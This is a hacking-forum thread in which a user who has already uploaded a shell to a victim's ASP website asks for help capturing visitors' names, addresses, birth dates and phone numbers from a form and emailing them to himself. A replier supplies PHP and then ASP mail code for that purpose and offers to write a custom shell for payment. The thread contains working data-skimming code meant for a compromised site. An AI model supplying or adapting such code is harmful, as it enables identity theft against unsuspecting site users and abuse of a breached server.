+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [HELP]mail function-- sql injection -shell upload (/showthread.php?tid=5968687)
[HELP]mail function-- sql injection -shell upload - tabi - May 10, 2019
Hello,
explain : user query on website : submit offer , affiliate in cluded infomation i need like name , address , dob , phone number etc,
i'm uploaded shell now i want edit or creat new function get infomation i want from victim and sent to my mail after user complete form or submit task
sorry about my bad english, im glad explain any question if anyone understand what i say
have nice day, thanks for reading !!!
RE: [HELP]mail function-- sql injection -shell upload - Nexium - May 10, 2019
PHP Code
<?php
$name = $_POST['name'];
$address = $_POST['address'];
$dob = $_POST['dob'];
$phone = $_POST['phone'];
$msg = $name."-----".$address."-----".$dob."-----".$phone;
$msg = wordwrap($msg,sizeof($msg));
mail("[email protected]","Form info",$msg);
?>Put this script below the form, and input the right form id's.
RE: [HELP]mail function-- sql injection -shell upload - tabi - May 10, 2019
(May 10, 2019 12:09 PM)ion1 Wrote:PHP Code
<?php
$name = $_POST['name'];
$address = $_POST['address'];
$dob = $_POST['dob'];
$phone = $_POST['phone'];
$msg = $name."-----".$address."-----".$dob."-----".$phone;
$msg = wordwrap($msg,sizeof($msg));
mail("[email protected]","Form info",$msg);
?>
Put this script below the form, and input the right form id's.
god, thanks for fast reply. im trying.
sorry, this site build from asp language
RE: [HELP]mail function-- sql injection -shell upload - Nexium - May 10, 2019
Does it run php also.
If not then:
Then just catch the POST or GET requests with asp.
For asp try this function with asp.
Code
<%
Set myMail = CreateObject("CDO.Message")
myMail.Subject = "Sending email with CDO"
myMail.From = "[email protected]"
myMail.To = "[email protected]"
myMail.TextBody = "This is a message."
myMail.Send
set myMail = nothing
%>RE: [HELP]mail function-- sql injection -shell upload - tabi - May 10, 2019
(May 10, 2019 12:45 PM)ion1 Wrote: Does it run php also.this site run asp only. i think i need time to find where i can put this script and more...
If not then:
Then just catch the POST or GET requests with asp.
For asp try this function with asp.
Code<%
Set myMail = CreateObject("CDO.Message")
myMail.Subject = "Sending email with CDO"
myMail.From = "[email protected]"
myMail.To = "[email protected]"
myMail.TextBody = "This is a message."
myMail.Send
set myMail = nothing
%>
thanks again
RE: [HELP]mail function-- sql injection -shell upload - Nexium - May 10, 2019
If you got $$$$ i can code you a shell that suits your needs.
Maybe i will code a shell in asp tonight and put it here on HF.
No problem mate.
RE: [HELP]mail function-- sql injection -shell upload - tabi - May 10, 2019
not enough post. can you pm me your contact ?
icq or skype is good